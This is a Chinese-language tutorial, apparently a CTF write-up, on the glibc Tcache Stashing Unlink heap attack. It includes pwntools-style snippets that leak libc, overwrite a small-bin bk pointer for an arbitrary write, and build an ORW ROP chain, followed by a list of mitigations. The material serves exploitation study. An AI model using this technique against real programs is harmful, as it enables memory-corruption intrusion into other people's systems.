堆学习之Tcache Stashing Unlink Attacke
字数 1470 2025-08-22 12:23:18
Tcache Stashing Unlink Attack 技术详解
1. 攻击概述
Tcache Stashing Unlink Attack 是一种针对 glibc 堆管理机制的利用技术,主要利用 small bin 和 tcache 之间的交互机制实现任意地址写入。虽然名称中包含 "Unlink",但与传统的 unlink 攻击有很大不同,主要相似点在于都需要绕过链表检查。
2. 攻击条件
要成功实施 Tcache Stashing Unlink Attack,需要满足以下条件:
- 使用 calloc 分配内存:calloc 会绕过 tcache 直接从 small bin 分配
- tcache 非满但非空:tcache 中对应大小的链表有空位但不为空
- small bin 中有 chunk:至少有两个 chunk 在 small bin 中
- 能够修改 small bin 中 chunk 的 bk 指针
3. 攻击原理
当从 small bin 分配 chunk 时,glibc 会检查:
- 如果 small bin 中还有剩余 chunk
- 且对应大小的 tcache 有空位(但 tcache 不为空)
- 会将剩余 chunk 链入 tcache
关键点在于链入 tcache 时没有进行严格的链表检查,攻击者可以通过修改 small bin 中 chunk 的 bk 指针,实现将任意地址链入 tcache 的效果。
4. 攻击步骤详解
4.1 初始堆布局准备
-
填充 tcache:
for i in range(7): add(0x300) # 分配 0x300 大小的 chunk delete(i) # 释放到 tcache -
创建 small bin 环境:
for i in range(7,13): # 6个 add(0xf0) # 分配较小 chunk delete(i) # 释放 -
创建 unsorted bin:
add(0x300) # chunk 13 add(0x300) # chunk 14 delete(13) # 释放到 unsorted bin
4.2 泄露 libc 地址
show(13)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x10-96-libc.sym['__malloc_hook']
通过 unsorted bin 中的 fd 指针泄露 libc 地址。
4.3 构造 small bin
-
分割 unsorted bin:
add(0x200) # chunk 15,分割 unsorted bin add(0x300) # chunk 16,使剩余部分进入 small bin -
获取堆地址:
ru('Ptr: ') addr = int(rc(9),16)-0x2a0-0x2190-0x11e0 # 计算堆基址
4.4 实施攻击
-
修改 small bin chunk 的 bk 指针:
edit(16, b'\x00'*0x208 + p64(0x101) + p64(addr+0x31f0) + p64(0x4040C0-0x4-0x10))- 覆盖 bk 指针为目标地址(这里是 nbytes 的 bss 变量)
-
触发 stashing 机制:
add(0xf0) # 分配触发 small bin 到 tcache 的转移- 这将导致目标地址被写入 main_arena 的地址
4.5 利用修改的 nbytes 进行 ORW
sla(b'Your choice:',b'5')
sd(b'a'*0x38 + p64(rdi) + p64(bss) + p64(rsi) + p64(0) + ...)
- 利用被改大的 nbytes 进行栈溢出
- 构造 ORW (Open-Read-Write) 链读取 flag
5. 关键点解析
-
calloc 的特殊性:
- 绕过 tcache 直接从 small bin 分配
- 这是触发 stashing 机制的关键
-
small bin 到 tcache 的转移条件:
- tcache 对应大小链表有空位但非空
- small bin 中有多个 chunk
- 使用 calloc 分配
-
bk 指针修改:
- 需要精确计算偏移
- 目标地址需要满足一定条件(可写、对齐等)
-
沙箱绕过:
- 题目开启了沙箱,需要使用 ORW 技术而非直接获取 shell
6. 防御措施
- 升级 glibc 版本(2.32+ 有更多检查)
- 启用 Full RELRO 保护
- 启用 PIE 保护
- 使用堆栈保护机制
7. 总结
Tcache Stashing Unlink Attack 是一种利用 small bin 和 tcache 交互机制的漏洞利用技术,核心在于通过修改 small bin chunk 的 bk 指针,在 stashing 过程中实现任意地址写入。这种攻击在特定条件下非常有效,特别是在可以使用 calloc 且能控制 small bin chunk 的 bk 指针时。